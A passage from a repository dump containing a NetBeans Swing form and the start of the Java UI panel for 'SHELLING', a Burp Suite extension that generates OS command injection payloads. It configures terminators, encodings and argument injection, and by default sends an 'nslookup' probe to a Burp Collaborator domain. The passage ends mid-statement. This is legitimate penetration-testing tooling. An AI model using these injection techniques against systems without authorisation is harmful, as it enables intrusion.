<SubComponents>\n                <Component class=\"javax.swing.JList\" name=\"encodeList\">\n                  <Properties>\n                    <Property name=\"model\" type=\"javax.swing.ListModel\" editor=\"org.netbeans.modules.form.editors2.ListModelEditor\">\n                      <StringArray count=\"1\">\n                        <StringItem index=\"0\" value=\"URL\"/>\n                      </StringArray>\n                    </Property>\n                  </Properties>\n                  <AuxValues>\n                    <AuxValue name=\"JavaCodeGenerator_TypeParameters\" type=\"java.lang.String\" value=\"&lt;String&gt;\"/>\n                    <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n                  </AuxValues>\n                </Component>\n              </SubComponents>\n            </Container>\n            <Component class=\"javax.swing.JComboBox\" name=\"encodingsToUse\">\n              <Properties>\n                <Property name=\"model\" type=\"javax.swing.ComboBoxModel\" editor=\"org.netbeans.modules.form.editors2.ComboBoxModelEditor\">\n                  <StringArray count=\"3\">\n                    <StringItem index=\"0\" value=\"URL (default)\"/>\n                    <StringItem index=\"1\" value=\"None\"/>\n                    <StringItem index=\"2\" value=\"Double URL\"/>\n                  </StringArray>\n                </Property>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"encodingsToUseActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_TypeParameters\" type=\"java.lang.String\" value=\"&lt;String&gt;\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JButton\" name=\"removeEncoding\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Remove\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"removeEncodingActionPerformed\"/>\n              </Events>\n            </Component>\n            <Component class=\"javax.swing.JButton\" name=\"jButton4\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Clear\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"jButton4ActionPerformed\"/>\n              </Events>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"useTerminatorsCheckBox\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Try to terminate strings\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"useTerminatorsCheckBoxActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"includeLiteralWhites\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Include literal space/null/newline/tab\"/>\n                <Property name=\"actionCommand\" type=\"java.lang.String\" value=\"Include literal white chars (space, tab, newline, nullbyte)\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"includeLiteralWhitesActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"1\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"includeThePooComboBox\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Include the \\ud83d\\udca9 (POO) character as terminator\" containsInvalidXMLChars=\"true\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"1\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"osSpecificTerminators\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Include OS-specific terminators (nix &quot;#&apos;, win &quot;::&quot;) \"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Container class=\"javax.swing.JScrollPane\" name=\"jScrollPane3\">\n              <AuxValues>\n                <AuxValue name=\"autoScrollPane\" type=\"java.lang.Boolean\" value=\"true\"/>\n              </AuxValues>\n\n              <Layout class=\"org.netbeans.modules.form.compat2.layouts.support.JScrollPaneSupportLayout\"/>\n              <SubComponents>\n                <Component class=\"javax.swing.JList\" name=\"terminatorList\">\n                  <Properties>\n                    <Property name=\"model\" type=\"javax.swing.ListModel\" editor=\"org.netbeans.modules.form.editors2.ListModelEditor\">\n                      <StringArray count=\"0\"/>\n                    </Property>\n                  </Properties>\n                  <AuxValues>\n                    <AuxValue name=\"JavaCodeGenerator_TypeParameters\" type=\"java.lang.String\" value=\"&lt;String&gt;\"/>\n                    <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n                  </AuxValues>\n                </Component>\n              </SubComponents>\n            </Container>\n            <Component class=\"javax.swing.JButton\" name=\"removeTerminatorButton\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Remove selected\"/>\n                <Property name=\"enabled\" type=\"boolean\" value=\"false\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"removeTerminatorButtonActionPerformed\"/>\n              </Events>\n            </Component>\n            <Component class=\"javax.swing.JButton\" name=\"addTerminatorButton\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Add\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"addTerminatorButtonActionPerformed\"/>\n              </Events>\n            </Component>\n            <Component class=\"javax.swing.JTextField\" name=\"addTerminatorField\">\n            </Component>\n            <Component class=\"javax.swing.JLabel\" name=\"jLabel13\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"List editor display &amp; input format:\"/>\n              </Properties>\n            </Component>\n            <Component class=\"javax.swing.JRadioButton\" name=\"terminatorASCIIFormat\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"ASCII\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"terminatorASCIIFormatActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JRadioButton\" name=\"terminatorHexFormat\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"HEX\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"terminatorHexFormatActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JLabel\" name=\"jLabel8\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Define custom string terminators:\"/>\n              </Properties>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"useNullByte\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Use NULL byte\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n            <Component class=\"javax.swing.JCheckBox\" name=\"smart400Avoidance\">\n              <Properties>\n                <Property name=\"selected\" type=\"boolean\" value=\"true\"/>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Use smart 400 Bad request avoidance (Scanner only)\"/>\n              </Properties>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"1\"/>\n              </AuxValues>\n            </Component>\n          </SubComponents>\n        </Container>\n        <Container class=\"javax.swing.JPanel\" name=\"jPanel3\">\n          <Constraints>\n            <Constraint layoutClass=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout\" value=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout$JTabbedPaneConstraintsDescription\">\n              <JTabbedPaneConstraints tabName=\"Save the payloads\">\n                <Property name=\"tabTitle\" type=\"java.lang.String\" value=\"Save the payloads\"/>\n              </JTabbedPaneConstraints>\n            </Constraint>\n          </Constraints>\n\n          <Layout>\n            <DimensionLayout dim=\"0\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" attributes=\"0\">\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                          <Component id=\"jLabel2\" min=\"-2\" pref=\"932\" max=\"-2\" attributes=\"0\"/>\n                          <Group type=\"102\" attributes=\"0\">\n                              <Component id=\"saveToFileButton\" min=\"-2\" pref=\"213\" max=\"-2\" attributes=\"0\"/>\n                              <EmptySpace min=\"-2\" pref=\"31\" max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"saveToClipBoardButton\" min=\"-2\" pref=\"213\" max=\"-2\" attributes=\"0\"/>\n                          </Group>\n                      </Group>\n                      <EmptySpace pref=\"914\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n            <DimensionLayout dim=\"1\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                      <EmptySpace min=\"-2\" pref=\"21\" max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"jLabel2\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace type=\"unrelated\" max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"1\" attributes=\"0\">\n                          <Component id=\"saveToFileButton\" min=\"-2\" pref=\"41\" max=\"-2\" attributes=\"0\"/>\n                          <Component id=\"saveToClipBoardButton\" min=\"-2\" pref=\"41\" max=\"-2\" attributes=\"0\"/>\n                      </Group>\n                      <EmptySpace pref=\"655\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n          </Layout>\n          <SubComponents>\n            <Component class=\"javax.swing.JLabel\" name=\"jLabel2\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Instead of feeding the tools, save the result payload set:\"/>\n              </Properties>\n            </Component>\n            <Component class=\"javax.swing.JButton\" name=\"saveToFileButton\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"To file\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"saveToFileButtonActionPerformed\"/>\n              </Events>\n            </Component>\n            <Component class=\"javax.swing.JButton\" name=\"saveToClipBoardButton\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"To clipboard\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"saveToClipBoardButtonActionPerformed\"/>\n              </Events>\n            </Component>\n          </SubComponents>\n        </Container>\n        <Container class=\"javax.swing.JPanel\" name=\"advancedPanel\">\n          <Constraints>\n            <Constraint layoutClass=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout\" value=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout$JTabbedPaneConstraintsDescription\">\n              <JTabbedPaneConstraints tabName=\"Advanced\">\n                <Property name=\"tabTitle\" type=\"java.lang.String\" value=\"Advanced\"/>\n              </JTabbedPaneConstraints>\n            </Constraint>\n          </Constraints>\n\n          <Layout>\n            <DimensionLayout dim=\"0\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                      <Group type=\"103\" groupAlignment=\"1\" max=\"-2\" attributes=\"0\">\n                          <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                              <EmptySpace max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"checkForInteractions\" max=\"32767\" attributes=\"0\"/>\n                          </Group>\n                          <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                              <EmptySpace min=\"-2\" pref=\"20\" max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"verboseOutputCheckBox\" min=\"-2\" pref=\"935\" max=\"-2\" attributes=\"0\"/>\n                          </Group>\n                          <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                              <EmptySpace max=\"-2\" attributes=\"0\"/>\n                              <Component id=\"flushTheTrackerButton\" pref=\"1013\" max=\"32767\" attributes=\"0\"/>\n                          </Group>\n                      </Group>\n                      <EmptySpace pref=\"833\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n            <DimensionLayout dim=\"1\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                      <EmptySpace min=\"-2\" pref=\"28\" max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"verboseOutputCheckBox\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace type=\"separate\" max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"checkForInteractions\" min=\"-2\" pref=\"67\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace type=\"separate\" max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"flushTheTrackerButton\" min=\"-2\" pref=\"66\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace pref=\"528\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n          </Layout>\n          <SubComponents>\n            <Component class=\"javax.swing.JCheckBox\" name=\"verboseOutputCheckBox\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Verbose extension output\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"verboseOutputCheckBoxActionPerformed\"/>\n              </Events>\n            </Component>\n            <Component class=\"javax.swing.JButton\" name=\"checkForInteractions\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Check for new collaborator interactions now\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"checkForInteractionsActionPerformed\"/>\n              </Events>\n            </Component>\n            <Component class=\"javax.swing.JButton\" name=\"flushTheTrackerButton\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Reset collaborator session tracker (only if you know what you are doing)\"/>\n                <Property name=\"toolTipText\" type=\"java.lang.String\" value=\"\"/>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"flushTheTrackerButtonActionPerformed\"/>\n              </Events>\n            </Component>\n          </SubComponents>\n        </Container>\n        <Container class=\"javax.swing.JPanel\" name=\"jPanel4\">\n          <Constraints>\n            <Constraint layoutClass=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout\" value=\"org.netbeans.modules.form.compat2.layouts.support.JTabbedPaneSupportLayout$JTabbedPaneConstraintsDescription\">\n              <JTabbedPaneConstraints tabName=\"Byte generator\">\n                <Property name=\"tabTitle\" type=\"java.lang.String\" value=\"Byte generator\"/>\n              </JTabbedPaneConstraints>\n            </Constraint>\n          </Constraints>\n\n          <Layout>\n            <DimensionLayout dim=\"0\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"jLabel1\" min=\"-2\" pref=\"209\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Component id=\"byteGeneratorRangeCombo\" min=\"-2\" pref=\"751\" max=\"-2\" attributes=\"0\"/>\n                      <EmptySpace pref=\"874\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n            <DimensionLayout dim=\"1\">\n              <Group type=\"103\" groupAlignment=\"0\" attributes=\"0\">\n                  <Group type=\"102\" alignment=\"0\" attributes=\"0\">\n                      <EmptySpace max=\"-2\" attributes=\"0\"/>\n                      <Group type=\"103\" groupAlignment=\"3\" attributes=\"0\">\n                          <Component id=\"byteGeneratorRangeCombo\" alignment=\"3\" min=\"-2\" max=\"-2\" attributes=\"0\"/>\n                          <Component id=\"jLabel1\" alignment=\"3\" min=\"-2\" pref=\"43\" max=\"-2\" attributes=\"0\"/>\n                      </Group>\n                      <EmptySpace pref=\"695\" max=\"32767\" attributes=\"0\"/>\n                  </Group>\n              </Group>\n            </DimensionLayout>\n          </Layout>\n          <SubComponents>\n            <Component class=\"javax.swing.JLabel\" name=\"jLabel1\">\n              <Properties>\n                <Property name=\"text\" type=\"java.lang.String\" value=\"Byte range\"/>\n              </Properties>\n            </Component>\n            <Component class=\"javax.swing.JComboBox\" name=\"byteGeneratorRangeCombo\">\n              <Properties>\n                <Property name=\"model\" type=\"javax.swing.ComboBoxModel\" editor=\"org.netbeans.modules.form.editors2.ComboBoxModelEditor\">\n                  <StringArray count=\"6\">\n                    <StringItem index=\"0\" value=\"Non-numeric\"/>\n                    <StringItem index=\"1\" value=\"Alphanumeric\"/>\n                    <StringItem index=\"2\" value=\"Non-alphanumeric printable\"/>\n                    <StringItem index=\"3\" value=\"Non-alphanumeric non-printable\"/>\n                    <StringItem index=\"4\" value=\"Non-alphanumeric non-printable &lt;128\"/>\n                    <StringItem index=\"5\" value=\"All\"/>\n                  </StringArray>\n                </Property>\n              </Properties>\n              <Events>\n                <EventHandler event=\"actionPerformed\" listener=\"java.awt.event.ActionListener\" parameters=\"java.awt.event.ActionEvent\" handler=\"byteGeneratorRangeComboActionPerformed\"/>\n              </Events>\n              <AuxValues>\n                <AuxValue name=\"JavaCodeGenerator_TypeParameters\" type=\"java.lang.String\" value=\"&lt;String&gt;\"/>\n                <AuxValue name=\"JavaCodeGenerator_VariableModifier\" type=\"java.lang.Integer\" value=\"4\"/>\n              </AuxValues>\n            </Component>\n          </SubComponents>\n        </Container>\n      </SubComponents>\n    </Container>\n  </SubComponents>\n</Form>\n"
  },
  {
    "path": "Java/src/uk/co/pentest/SHELLING/ShellingPanel2.java",
    "content": "/*\n * To change this license header, choose License Headers in Project Properties.\n * To change this template file, choose Tools | Templates\n * and open the template in the editor.\n */\npackage uk.co.pentest.SHELLING;\n\nimport burp.BinaryPayloadIssue;\nimport burp.IBurpCollaboratorClientContext;\nimport burp.IBurpCollaboratorInteraction;\nimport burp.IScanIssue;\nimport java.awt.Toolkit;\nimport java.awt.datatransfer.Clipboard;\nimport java.awt.datatransfer.StringSelection;\n\nimport java.io.BufferedWriter;\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport javax.swing.JFileChooser;\nimport javax.swing.JList;\nimport javax.swing.JOptionPane;\nimport javax.swing.ListModel;\n\n/**\n *\n * @author julian\n */\npublic class ShellingPanel2 extends javax.swing.JPanel {\n    protected String byteGeneratorRange;           \n    public String mode = \"auto\";\n    public String targetOS = \"all\";\n    public String feedbackChannel = \"DNS\"; // \"DNS\" is the other option atm (also planned: response (echo) and filesystem \n    public boolean scannerChecks = true; // whether to automatically extend the active scanning\n    protected boolean verboseOutput = false;    \n    \n    protected IntruderPayloadGenerator curr_generator;\n    protected ArrayList<String> payloads;\n    \n    //public IntruderPayloadGenerator lastGenerator;\n    // these need to  be public\n    public static ArrayList<collabSession> collabSessions;      // \n    public static IBurpCollaboratorClientContext collabClient;  //\t\n    \n    protected boolean warningDisplayed=false;\n    private static long lastCollabSessionCheck=0;\n    private static int collabSessionCheckThreshold=30;          // what is the maximum frequency of checkCollabInteractions in seconds\n    \n    protected String editorFormat=\"HEX\";\n    // this thing can poll the collaborator API multiple times once many scan threads kick in\n    // we don't need this check intensivity for asynchronous interactions\n    // by the way, maybe this will help us to get rid of the DNS issues being split between sets of payloads (when multiple payloads were successful).\n        \n    // We want to maintain this structure between the scans/intruder runs. The intention is as follows:    \n    // 1. do not miss asynchronous injections, regardless to them being hit by scanner or intruder!\n    // 2. thus, we can generate a new collabLoc for every single attack (active scan + intruder check + export - because why not).\n    // \n    // The collabLoc will be used to match the collabSession, which in turn will contain more info about the attack (to reconstruct the valid request - we are definitely not going to store all the requests/responses in the memory for the puroose of tracking):\n    // it would be, by the way, cool if Collaborator provided a nice way to use subdomains through collaborator API to track payloads\n    // otherwise in order to identify a payload we have to assign a separate collabLoc per each one of them, which in our case might be way too many...?\n    // I wonder how exactly Burp Scanner does it (match the right request) when using collaborator - cause it's capable of detecting asynchronous stuff, \n    // reverse lookups issued after hours pop up as External DNS interactions/OS command injections ;)\n    \n    // Per every single attack (Intruder attack/export/Active scan) - if auto mode is enabled - a new collabSession will be created and held until the plugin is unloaded:\n    // timestamp of start\n    // type of session (intruder/scanner/export)\n    // configuration (so it should be easier to make sure we know where PAYLOAD_MARK points at)?\n    // collabLoc - the ID generated by the Collaborator Server (the subdomain in burpcollaborator.net)\n    // IHttpRequestResponse req - this will either contain the baseRequest provided to doActiveScan - or IIntruderAttack.getTemplateRequest() in case of Intruder, will be null for exports\n    // what about including the shellings_raw payload set to it? this would make the payload matching accurate and should not be too mem-greey with reasonable configurations :D\n    \n    \n    PrintWriter stdout;\n    /**\n     * Creates new form ShellingPanel2\n     */\n    public ShellingPanel2() \n    {      \n        // activate the collaborator client\n        this.flushThetracker();\n\n        \n        // set extension output\n        stdout = new PrintWriter(SHELLING.callbacks.getStdout(), true);\n        \n        // init the UI\n        initComponents();                \n        \n        // enable \"auto\" mode for Intruder and export\n        this.enableAuto();                                             \n    }\n    public int getDelay()\n    {        \n        return Integer.parseInt(this.delayTimeSpinner.getValue().toString());        \n    }\n    protected void appendListData(JList list, String[] items)\n    {\n        ArrayList tmp = new ArrayList();\n\n         for (int i=0; i < list.getModel().getSize(); i++) {\n            String elem = (String) list.getModel().getElementAt(i);           \n            tmp.add(elem);\n        }\n        for(String item: items)\n        {\n            if(!tmp.contains(item)) tmp.add(item);\n        }\n        list.setListData(tmp.toArray());\n    }\n    private void removeFromListData(JList list, String item)\n    {\n        ArrayList tmp = new ArrayList();\n\n         for (int i=0; i < list.getModel().getSize(); i++) {\n            String elem = (String) list.getModel().getElementAt(i); \n            if(!elem.equals(item)) tmp.add(elem);\n        }\n        list.setListData(tmp.toArray());\n    }\n    private void initiateEncodings() // same as clear, no encoding by default\n    {\n        String empty[] = {\"None\"};\n        encodeList.setListData(empty);\n    }\n    \n    /**\n     * This method is called from within the constructor to initialize the form.\n     * WARNING: Do NOT modify this code. The content of this method is always\n     * regenerated by the Form Editor.\n     */\n    @SuppressWarnings(\"unchecked\")\n    // <editor-fold defaultstate=\"collapsed\" desc=\"Generated Code\">//GEN-BEGIN:initComponents\n    private void initComponents() {\n\n        buttonGroup1 = new javax.swing.ButtonGroup();\n        buttonGroup2 = new javax.swing.ButtonGroup();\n        jCheckBox5 = new javax.swing.JCheckBox();\n        jTabbedPane1 = new javax.swing.JTabbedPane();\n        jPanel1 = new javax.swing.JPanel();\n        jLabel3 = new javax.swing.JLabel();\n        targetOSCombo = new javax.swing.JComboBox<>();\n        jLabel4 = new javax.swing.JLabel();\n        argumentField = new javax.swing.JTextField();\n        jLabel5 = new javax.swing.JLabel();\n        commandField = new javax.swing.JTextField();\n        payloadMarkingBox = new javax.swing.JCheckBox();\n        scannerChecksBox = new javax.swing.JCheckBox();\n        feedbackChannelCombo = new javax.swing.JComboBox<>();\n        jLabel7 = new javax.swing.JLabel();\n        delayTimeSpinner = new javax.swing.JSpinner();\n        jLabel10 = new javax.swing.JLabel();\n        manualModeCheckBox = new javax.swing.JCheckBox();\n        stopAllRunningScans = new javax.swing.JCheckBox();\n        panel1 = new java.awt.Panel();\n        doCommandInjection = new javax.swing.JCheckBox();\n        advancedPayloadLabel = new javax.swing.JLabel();\n        basePayloadCheckBox = new javax.swing.JCheckBox();\n        secondBasePayloadCheckBox = new javax.swing.JCheckBox();\n        thirdBasePayloadCheckBox = new javax.swing.JCheckBox();\n        fourthBasePayloadCheckBox = new javax.swing.JCheckBox();\n        fifthBasePayloadCheckBox = new javax.swing.JCheckBox();\n        seventhBasePayloadCheckBox = new javax.swing.JCheckBox();\n        sixthBasePayloadCheckBox = new javax.swing.JCheckBox();\n        eightBasePayloadCheckBox = new javax.swing.JCheckBox();\n        jPanel5 = new javax.swing.JPanel();\n        argInjectionCheckBox = new javax.swing.JCheckBox();\n        fixedArguments = new javax.swing.JCheckBox();\n        bruteArgInjections = new javax.swing.JCheckBox();\n        injectHTTPCheckBox = new javax.swing.JCheckBox();\n        injectFileCheckBox = new javax.swing.JCheckBox();\n        uncPathsCheckBox = new javax.swing.JCheckBox();\n        injectSmbCheckBox = new javax.swing.JCheckBox();\n        injectUncCheckBox = new javax.swing.JCheckBox();\n        jLabel6 = new javax.swing.JLabel();\n        injectAdditionalArguments = new javax.swing.JCheckBox();\n        jLabel11 = new javax.swing.JLabel();\n        defaultArgBruteRange = new javax.swing.JRadioButton();\n        customArgBruteRange = new javax.swing.JRadioButton();\n        customCharacterRange = new javax.swing.JTextField();\n        jPanel6 = new javax.swing.JPanel();\n        doTerminalInjection = new javax.swing.JCheckBox();\n        jPanel2 = new javax.swing.JPanel();\n        jLabel9 = new javax.swing.JLabel();\n        jScrollPane1 = new javax.swing.JScrollPane();\n        encodeList = new javax.swing.JList<>();\n        encodingsToUse = new javax.swing.JComboBox<>();\n        removeEncoding = new javax.swing.JButton();\n        jButton4 = new javax.swing.JButton();\n        useTerminatorsCheckBox = new javax.swing.JCheckBox();\n        includeLiteralWhites = new javax.swing.JCheckBox();\n        includeThePooComboBox = new javax.swing.JCheckBox();\n        osSpecificTerminators = new javax.swing.JCheckBox();\n        jScrollPane3 = new javax.swing.JScrollPane();\n        terminatorList = new javax.swing.JList<>();\n        removeTerminatorButton = new javax.swing.JButton();\n        addTerminatorButton = new javax.swing.JButton();\n        addTerminatorField = new javax.swing.JTextField();\n        jLabel13 = new javax.swing.JLabel();\n        terminatorASCIIFormat = new javax.swing.JRadioButton();\n        terminatorHexFormat = new javax.swing.JRadioButton();\n        jLabel8 = new javax.swing.JLabel();\n        useNullByte = new javax.swing.JCheckBox();\n        smart400Avoidance = new javax.swing.JCheckBox();\n        jPanel3 = new javax.swing.JPanel();\n        jLabel2 = new javax.swing.JLabel();\n        saveToFileButton = new javax.swing.JButton();\n        saveToClipBoardButton = new javax.swing.JButton();\n        advancedPanel = new javax.swing.JPanel();\n        verboseOutputCheckBox = new javax.swing.JCheckBox();\n        checkForInteractions = new javax.swing.JButton();\n        flushTheTrackerButton = new javax.swing.JButton();\n        jPanel4 = new javax.swing.JPanel();\n        jLabel1 = new javax.swing.JLabel();\n        byteGeneratorRangeCombo = new javax.swing.JComboBox<>();\n\n        jCheckBox5.setText(\"jCheckBox5\");\n\n        jLabel3.setText(\"Command to use\");\n\n        targetOSCombo.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { \"All (default)\", \"Windows\", \"Nix\" }));\n        targetOSCombo.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                targetOSComboActionPerformed(evt);\n            }\n        });\n\n        jLabel4.setText(\"Target OS\");\n\n        argumentField.setText(\"PAYLOAD_MARK.BURP_COLLAB_DOMAIN\");\n        argumentField.addKeyListener(new java.awt.event.KeyAdapter() {\n            public void keyReleased(java.awt.event.KeyEvent evt) {\n                ShellingPanel2.this.keyReleased(evt);\n            }\n        });\n\n        jLabel5.setText(\"Argument\");\n\n        commandField.setText(\"nslookup\");\n\n        payloadMarkingBox.setSelected(true);\n        payloadMarkingBox.setText(\"Payload marking\");\n        payloadMarkingBox.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                payloadMarkingBoxActionPerformed(evt);\n            }\n        });\n\n        scannerChecksBox.setSelected(true);\n        scannerChecksBox.setText(\"Active scanning\");\n        scannerChecksBox.addActionListener(new java.awt.event.ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                scannerChecksBoxActionPerformed(evt);\n            }\n        });\n\n        feedbackChannelCombo.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { \"DNS (collaborator)\", 